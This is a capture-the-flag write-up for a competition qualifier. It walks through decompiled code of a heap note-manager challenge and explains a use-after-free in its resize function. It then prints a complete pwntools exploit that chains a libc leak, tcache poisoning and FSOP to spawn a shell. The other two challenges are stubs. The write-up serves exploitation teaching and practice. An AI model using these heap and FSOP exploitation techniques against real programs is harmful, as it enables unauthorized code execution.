Cyber Breaker Competition Quals

Challenge
Category
Points
Solves

Early

Binary Exploitation, Heap, UAF, FSOP

371 pts

7

lz1

Binary Exploitation, Linux Userland, Compression, Stack Based.

1000 pts

1

pagevault

Binary Exploitation, Linux Kernel, Page UAF, DirtyPage.

1000 pts

0

Early

Description

Author: Linz

Description: This is just an early challenge from me :) HOPE YOU GET INTO MAINSTAGE!!!

Solution

Given only a binary, a stripped x64 ELF with minimal protections:

$ file early
early: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=243f080d527b653bf04877a2d531d8600356d392, for GNU/Linux 3.2.0, stripped
$ pwn checksec early
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
$ ./early

== menu ==
1) add_note
2) edit_note
3) print_note
4) resize_note
5) delete_note
0) exit
>

The following are the decompilations with the function renamed by us, first the main which is a simple switch controller, taking input and routing to the function handlers depending on our input:

undefined8 main(void)
{
  undefined8 c;
  
  init();
  do {
    menu();
    c = get_long();
    switch(c) {
    case 0:
      puts("bye");
      return 0;
    case 1:
      add();
      break;
    case 2:
      edit();
      break;
    case 3:
      print();
      break;
    case 4:
      resize();
      break;
    case 5:
      delete();
      break;
    default:
      puts("?");
    }
  } while( true );
}

This is a generic CRUD style heap pwn where the player are able to perform operations on the heap. In add, we’re able to allocate a chunk with controllable size:

void add(void)
{
  ulong idx;
  ulong size;
  char *chunk;
  
  puts("index (0..7)?");
  idx = get_long();
  if ((idx < 8) && (*(int *)&sizes[idx].used == 0)) {
    puts("size?");
    size = get_long();
    if ((size == 0) || (0x2000 < size)) {
      puts("bad size");
    }
    else {
      chunk = (char *)malloc(size);
      if (chunk == (char *)0x0) {
        puts("oom");
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      sizes[idx].ptr = chunk;
      sizes[idx].sizes = size;
      *(undefined4 *)&sizes[idx].used = 1;
      puts("send data (exact length):");
      fill(sizes[idx].ptr,sizes[idx].sizes);
      puts("ok");
    }
  }
  else {
    puts("bad index");
  }
  return;
}

Below the delete function to free allocation, here lies an UAF however due to the nature of the program, we’re unable to perform modification or take advantage of it since there’s flag denoting that the pointer should not be used, still the pointer is left dangling:

void delete(void)
{
  ulong uVar1;
  
  puts("index?");
  uVar1 = get_long();
  if ((uVar1 < 8) && (*(int *)&sizes[uVar1].used != 0)) {
    free(sizes[uVar1].ptr);
    sizes[uVar1].ptr = (char *)0x0;
    sizes[uVar1].sizes = 0;
    *(undefined4 *)&sizes[uVar1].used = 0;
    puts("deleted");
  }
  else {
    puts("bad index");
  }
  return;
}

Here’s the edit and view function, there’s nothing interesting other than that they check for the used flag to determine if the chunk is freed:

void edit(void)
{
  ulong idx;
  
  puts("index?");
  idx = get_long();
  if ((idx < 8) && (*(int *)&sizes[idx].used != 0)) {
    puts("send new data (exact length):");
    fill(sizes[idx].ptr,sizes[idx].sizes);
    puts("edited");
  }
  else {
    puts("bad index");
  }
  return;
}

void print(void)
{
  ulong uVar1;
  
  puts("index?");
  uVar1 = get_long();
  if ((uVar1 < 8) && (*(int *)&sizes[uVar1].used != 0)) {
    puts(sizes[uVar1].ptr);
  }
  else {
    puts("bad index");
  }
  return;
}

There’s an additional option to resize a chunk, here lies the vulnerability:

void resize(void)
{
  int success;
  ulong idx;
  undefined8 size;
  char *__s;
  
  puts("index?");
  idx = get_long();
  if ((idx < 8) && (*(int *)&sizes[idx].used != 0)) {
    puts("new size?");
    size = get_long();
    success = handle_resize(sizes + idx,size);
    if (success < 1) {
      if (success == 0) {
        __s = "quota exceeded";
      }
      else {
        __s = "realloc fail";
      }
      puts(__s);
    }
    else {
      puts("resized");
    }
  }
  else {
    puts("bad index");
  }
  return;
}


undefined8 handle_resize(ulong *buf,ulong size)
{
  undefined8 success;
  void *pvVar1;
  
  if (size < 0x401) {
    pvVar1 = realloc((void *)buf[1],size);
    if (pvVar1 == (void *)0x0) {
      success = 0xffffffff;
    }
    else {
      buf[1] = (ulong)pvVar1;
      *buf = size;
      success = 1;
    }
  }
  else {
    free((void *)buf[1]);
    success = 0;
  }
  return success;
}

If the user specified a size bigger than 0x400, it will error and free the chunk, however it did not update the flag to be not used and didn’t remove the pointer thus resulting an exploitable UAF.

to exploit this we perform the following:

  1. allocate a chunk big enough to be allocated to the unsorted bin for a libc address leak

  2. perform a tcache poisoning to arbitrary allocate to IO_2_1_stdin achieving arbitrary write

  3. corrupt _IO_2_1_stdin_ to gain huge arbitrary write through stdin to corrupt _IO_2_1_stdout_ to gain RCE using FSOP

  4. profit

More details can be inspected by analysing the exploit code below:

#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './early'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'early.cbc2025.cloud', 443

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port, ssl=True)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def add(idx, size, data):
    io.sendlineafter(b'>', b'1')
    io.sendlineafter(b'?', str(idx).encode())
    io.sendlineafter(b'?', str(size).encode())
    io.sendafter(b':', data)

def edit(idx, data):
    io.sendlineafter(b'>', b'2')
    io.sendlineafter(b'?', str(idx).encode())
    io.sendafter(b':', data)

def view(idx):
    io.sendlineafter(b'>', b'3')
    io.sendlineafter(b'?', str(idx).encode())

def resize(idx, new_size):
    io.sendlineafter(b'>', b'4')
    io.sendlineafter(b'?', str(idx).encode())
    io.sendlineafter(b'?', str(new_size).encode())

def delete(idx):
    io.sendlineafter(b'>', b'5')
    io.sendlineafter(b'?', str(idx).encode())

def demangle(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

def exploit():
    global io
    heap = 0x0
    io = initialize()

    add(0, 0x420, b'A'*0x420)
    add(1, 0x10, b'A'*0x10)
    resize(0, 0x450)
    view(0)

    io.recvline()
    libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20
    stdout = libc.sym['_IO_2_1_stdout_']
    stdin = libc.sym['_IO_2_1_stdin_']

    add(2, 0x18, b'A'*0x18)
    add(3, 0x18, b'B'*0x18)
    add(4, 0x18, b'C'*0x18)

    delete(4)
    delete(3)
    resize(2, 0x450)

    view(2)
    io.recvline()
    heap = demangle(u64(io.recv(6).ljust(8, b'\x00'))) - 0x2c0

    edit(2, p64(mangle(heap, stdin+0x30)).ljust(0x18, b'\x00'))

    add(5, 0x18, b'D'*0x18)
    add(6, 0x18, flat([
        stdout,
        stdout,
        stdout+0x300,
    ]))

    fp = stdout
    # crafting overlapping IO_FILE, wide_data and wide_vtable
    overlap = b'  sh\x00\x00\x00\x00' # [FILE] _flags | [WIDE DATA] read_ptr
    overlap += flat([
        p64(0x0),               # [WIDE DATA] read_end
        p64(0x0),               # [WIDE DATA] read_base
        p64(0x0),               # [WIDE DATA] write_base
        p64(0x0),               # [WIDE DATA] write_ptr
        p64(0x0),               # [WIDE DATA] write_end
        p64(0x0),               # [WIDE DATA] buf_base
        p64(0x0),               # [WIDE DATA] buf_end 
        p64(0x0),               # [WIDE DATA] save_base
        p64(0x0),               # [WIDE DATA] backup_base 
        p64(0x0),               # [WIDE DATA] save_end
    ])
    overlap += b'\x00' * 8       # [WIDE DATA] state
    overlap += b'\x00' * 8       # [WIDE DATA] last_state

    codecvt = b''
    codecvt += p64(libc.sym['system'])     # [FILE] _chain | [WIDE DATA] codecvt | [VTABLE] __doallocate (at function authenticate, skips the puts because we overwrote stdout)
    codecvt += b'\x00' * 0x18                   # padding
    codecvt += p64(fp - 0x10)                   # [FILE] _lock
    codecvt += p64(0x0) * 2                     # padding
    codecvt += p64(fp+0x8)                      # [FILE] _wide_data
    codecvt += b'\x00' * (0x18 + 4 + 20)        # padding
    codecvt += p64(libc.sym['_IO_wfile_jumps']) # [FILE] vtable
    codecvt += b'\x00' * (0x70 - len(codecvt))  # padding
    
    overlap += codecvt
    overlap += p64(0x0)                         # [WIDE DATA] wchar_t shortbuf[1] (alligned to 8 bytes)
    overlap += p64(fp)                          # [WIDE DATA] vtable

    io.sendline(overlap)

    log.info("libc base; %#x", libc.address)
    log.info("heap base: %#x", heap)
    log.info("stdin: %#x", stdin)
    io.interactive()
    
if __name__ == '__main__':
    exploit()

lz1

See

the same challenge as starlabs summer pwnables, see:

Starlabs Summer Pwnables

pagevault

Description

Analysis

I will eventually write this

Exploitation

I will eventually write this

Last updated